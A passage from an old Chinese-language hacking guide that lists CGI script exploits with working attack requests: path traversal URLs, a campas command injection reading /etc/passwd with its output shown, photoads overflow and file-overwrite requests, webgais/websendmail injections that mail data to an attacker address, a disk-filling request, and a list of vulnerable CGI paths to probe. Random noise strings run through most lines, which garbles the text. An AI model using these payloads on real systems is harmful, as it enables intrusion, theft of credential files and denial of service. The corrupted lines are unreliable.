http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../../../.6 t; n: D! Z5 V' W
./../path_to_gif/file.gif( J3 V% Y0 g0 @5 L9 z( p8 T: d7 G
二十三.finger.cgi6 _+ v! z" H3 l- E* q
lynx http://www.victim.com/cgi-bin/finger?@localhost
. |# z$ o0 P' T4 s* k6 l3 s: r得到主机上登陆的用户名.6 v1 F1 j: l5 G6 m$ S
二十四.man.sh
# H  z2 U( u/ D- G+ o4 ^Robert Moniot found followung. The May 1998 issue of SysAdmin
1 ~# P# m4 l$ c8 ~* b$ E; wMagazine contains an article, "Web-Enabled Man Pages", which
, V  I) r! B7 iincludes source code for very nice cgi script named man.sh to feed1 G6 [& E7 {4 `' z% H, S' _
man pages to a web browser. The hypertext links to other man
" a  h5 |9 ?2 f; H! w4 Spages are an especially attractive feature.
8 D- e+ P& d$ K) j) gUnfortunately, this script is vulnerable to attack. Essentially,
* J. z5 j% ~; h1 }anyone who can execute the cgi thru their web browser can run any" W, \0 h6 C% [' g. w) ^
system commands with the user id of the web server and obtain the
0 P$ Z5 O7 i- {output from them in a web page.  ]1 d: ]( D# `" g! O2 X" D
二十五.FormHandler.cgi) D0 K7 h% e2 X1 p1 T, J' e9 Q. }
在表格里加上
/ a4 W4 D, R+ Y/ r* K你的邮箱里就有/etc/passwd
' C. ?- l# L7 e- a6 v+ m6 G8 C二十六.JFS  h+ V  v- ~/ D& N" j: }/ J0 j+ m
相信大家都看过"JFS 侵入 PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads
7 M7 |8 ?1 o6 E5 S4 p这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样
" k3 m8 Q, _: K! \/ i先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31
! T& l7 k# W! b* ?& v! q337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%0a
* j1 q# n& i# C' k, @" ]# |9 H1111111111111111111111111111111111111111111111111111111111111111111111111111
5 V2 ^2 j8 W4 F2 C, q! }11111111111111111111111111111111111111111111 1111111111111111111111111111111- ]- `1 E8 U; b, c
11111111111111111111111111111111111111111111111111111111111111111111111111111 r" L9 I8 D! C5 y
111111111111111 111111111111111111111111111111111111111111111111111111111111
# c) Y" B0 T" |- S, W! e/ g: w/ w11111111111111111111111111111111111111111111111111111111111111 11111111111118 Y/ e& Z; ^* P0 {' b" G
1111111111111111111111111111111111111111111111111111111111111111111111111111
" q2 E3 z7 p$ b2 Y% J  c+ ]111111111111111111111111111111111 111111111111111111111111111111111111111111
5 u$ S/ z+ U( q0 D$ }3 ]1111111111111111111111111111111111111111111111111111111111111111111111111111
3 M4 L' u3 t, ^: B% e1111 11111111111111111111111111111111111111111111111111111111111111111111111
. g! y( u! Z5 v  c111111111111111111111111111111111111111111111111111 111111111111111111111111
- Z  H' \/ O! n3 ]& h& R1 c1111111111111111111111111111111111111111111111111111111111111111111111111111* c* Q' R9 q! @7 k1 E% S. ?
1111111111111111111111 11111111111111111111111111111111111111111111111111111
8 F+ y5 r0 X: W- }5 n% ~- l111111111111111111111111111111111111111111111111111111111111111111111 111111$ @- S2 p  K  F! v  [7 @
1111111111111111111111111111111111111111111111111111111111111111111111111111
; p7 b# L$ y( c# ]( Y  o1111111111111111111111111111111111111111 111111111111111111111111111&Phone=1
% q' k' v0 o3 B0 S8 C( j# Q1&Subject=la&password=0&CityStPhone=0&Renewed=0") V+ _& Y4 l' J1 \% |: ~
创建新AD值绕过 $AdNum 的检查后用
. G* b, l, j' e, i  z( [- L* R( E2 Olynx 'http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?file=a.jp
7 w% E- e0 H+ z9 y8 @6 cg&AdNum=11111111111111111111111111111111111111111111111111111111111111111111
% l2 Z/ J" H. K$ c111111111111111111111111111111111111111111111111111111 111111111111111111111
& @8 q( E# Y, u* b  h* C% G1111111111111111111111111111111111111111111111111111111111111111111111111111& o& Y, ~: r" M& t
1111111111111111111111111 11111111111111111111111111111111111111111111111111
% @% M: N% [( {- ?$ g111111111111111111111111111111111111111111111111111111111111111111111111 111% W+ A. l9 s$ g4 d
1111111111111111111111111111111111111111111111111111111111111111111111111111
  C% ^% `5 L3 K. X1 y* b1111111111111111111111111111111111111111111 11111111111111111111111111111111
. P* V# w- A1 i' C! X  T1111111111111111111111111111111111111111111111111111111111111111111111111111
0 }1 a9 s7 p+ J; b7 H! y! S2 N11111111111111 1111111111111111111111111111111111111111111111111111111111111
) G2 y, l( L+ o$ h1111111111111111111111111111111111111111111111111111111111111 11111111111111
2 _2 g0 S1 j! w1 g1111111111111111111111111111111111111111111111111111111111111111111111111111
2 x' H: m& g8 ~9 e11111111111111111111111111111111 1111111111111111111111111111111111111111111
) u: ~2 h; n0 q  v6 z1111111111111111111111111111111111111111111111111111111111111111111111111111' W, v9 w) I) o
111 1111111111111111111111111111111111111111111111&DataFile=1&Password=0&FIL9 y6 E4 P5 j9 h9 O, ?' N
E_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/\../../../* C" m% B: P, N- r& p7 B! n
../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif'
. q  T; e( ?! |/ O9 T5 }创建/覆盖用户 nobody 有权写的任何文件.$ N3 o' o5 B  H; l3 M1 N' `3 b
不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道?
6 t3 F0 ^2 s( D$ e二十七.backdoor2 {! A3 y6 c" h  V/ ~
看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwshell.pl4 X! P) P- w' U
前一个是UnlG写的,我没见过源码,有一个是THC写的,packetstorm里有它1.6版的源码.
$ d% F0 I' z  f9 M二十八.visadmin.exe
! }0 o3 V: y" T# K. _6 S  o/ ]http://omni.server/cgi-bin/visadmin.exe?user=guest
" w0 D! j9 n9 U* ~! T, o9 E- \这个命令行将不停的向服务器的硬盘里写东西,知道写满为止.8 X' t" T6 _2 h6 f
二十九.campas
! d% h2 \* v0 d2 l> telnet www.xxxx.net 80! K/ P) N( d9 [: A/ b: X( D8 o- a
Trying 200.xx.xx.xx...% a+ y8 b. J9 }! L
Connected to venus.xxxx.net* t  |6 R) \: x# |3 j2 N6 W
Escape character is '^]'.* k; G' ^) u+ o  H/ P
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
0 l6 g  M& |0 D4 _% Y+ i. lroot:x:0:1:Super-User:/export/home/root:/sbin/sh+ B( o/ P$ U1 n( k
daemon:x:1:1::/:: X( u# ?9 O- O2 m: v" _
bin:x:2:2::/usr/bin:& a6 T6 f+ ^4 q  G
sys:x:3:3::/:  O  [, r. ?' L4 _' w
adm:x:4:4:Admin:/var/adm:/ H& g. q- M8 L+ F" G0 T( [
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
9 p( C! Z" ?2 e- Z6 R6 Zsmtp:x:0:0:Mail Daemon User:/:/bin/false% ?" c6 c- V- K6 M8 h
.... 接下来你知道该干什么了吧 :P
1 ?# v; P. M1 ?! e三十.webgais$ k+ n5 y8 r  M& ^) x$ S
query=';mail+foo@somewhere.nettelnet target.machine.com 809 a0 L' f1 t  x9 ?/ N
POST /cgi-bin/webgais HTTP/1.0
  e% |4 V/ g- x# J/ a: O3 O& ^Content-length: 85 (replace this with the actual length of the "exploit"
: i% V, [0 e! d+ Z! O# Vline)
/ `$ f3 k5 j" v' U8 A+ Cquery=';mail+drazvan\@pop3.kappa.roparagraph
0 H4 x+ E6 O+ t! p4 c3 Ntelnet target.machine.com 80
: D8 m& ~6 G, j* JPOST /cgi-bin/websendmail HTTP/1.00 \+ l( c: X% B/ E0 {5 O
Content-length: xxx (should be replaced with the actual length of the
  K1 S, q6 ?$ m! ]! `string passed to the server, in this case xxx=90)
' f+ }: W5 L' Z8 Sreceiver=;mail+your_address\@somewhere.orgubject=a
" s* d- L& M, r4 L/ a! v&content=a
2 K7 x) {, \( \: f+ D2 g三十一.wrap
/ |2 a& s) W0 _$ X- Shttp://sgi.victim/cgi-bin/wrap?/../../../../../etc& f/ V" E! D! `6 E( y
列出etc目录里的文件
7 ]' p4 t( m1 u+ _6 ^7 _下面是可能包含漏洞的所有CGI程序名,至于其他更多的漏洞,正在收集整理中,这里也衷
( D& N5 r" h1 l: s: B5 @1 \$ u心的希望得到你的批评与指教.
# q& S) [3 Z# z* n; @/cgi-bin/rwwwshell.pl: Z, O/ V+ b' N0 b$ s
/cgi-bin/phf( t/ F3 F& Z# T
/cgi-bin/Count.cgi
. U1 Z0 q& _2 T& t8 w) H! @+ ]4 d8 K/cgi-bin/test.cgi
/ t7 V# @% Z! V' B/cgi-bin/nph-test-cgi
3 E+ |# b% _/ p3 ]. [/cgi-bin/nph-publish
7 p- z$ w$ M( M. T* k/cgi-bin/php.cgi
; A1 j/ k: H0 h% w/cgi-bin/handler
4 y8 c1 H  C  t+ ]+ |' U3 x' l/cgi-bin/webgais# {# |8 w4 K! B" C) |; W4 Q; H
/cgi-bin/websendmail
* G. e$ A& z) t6 Z" Q' Z/cgi-bin/webdist.cgi6 V. R1 F* Z2 b+ {
/cgi-bin/faxsurvey
* r) v% G6 I2 L3 F4 i/cgi-bin/htmlscript /cgi-bin/pfdisplay.cgi% A' w: f# m& a3 I" y
/cgi-bin/perl.exe" O# J  t( j3 h" G, J
/cgi-bin/wwwboard.pl- [& s' [; E) x- Y0 k
/cgi-bin/www-sql0 R) K6 e, u$ o
/cgi-bin/view-source
3 z7 a8 q6 L" K/cgi-bin/campas4 h5 u$ `" u$ R# d/ r
/cgi-bin/aglimpse/ {4 _0 D- ~9 f3 H3 s- g' U
/cgi-bin/glimpse
- _+ O: k/ j8 s  {8 I% d7 b/cgi-bin/man.sh
8 I& }8 K4 D- j& `; Z+ a- B/cgi-bin/AT-admin.cgi9 u& G% {' R8 W7 s2 R
/scripts/no-such-file.pl
" c' W- q5 A# N6 J/_vti_bin/shtml.dll
- H4 P: y# c, {) D1 W/_vti_inf.html
+ H0 I# P- W$ q/_vti_pvt/administrators.pwd
7 o9 `6 y# t3 ~  {) H3 S7 I/_vti_pvt/users.pwd0 z# a# f( U0 {* a8 }
/msadc/Samples/SELECTOR/showcode.asp7 y  N) P; u/ N% V. T. t
/scripts/iisadmin/ism.dll?http/dir6 O. N" Q! c1 c+ q1 z5 ?7 g/ C
/adsamples/config/site.csc
3 [4 v6 T3 n, Y5 K9 ]/main.asp%810 P! g( l0 `5 T. g5 Z4 m4 H% t8 v) F
/AdvWorks/equipment/catalog_type.asp?
) H2 T7 Q; q( X$ S' S/cgi-bin/input.bat?|dir..\..\windows
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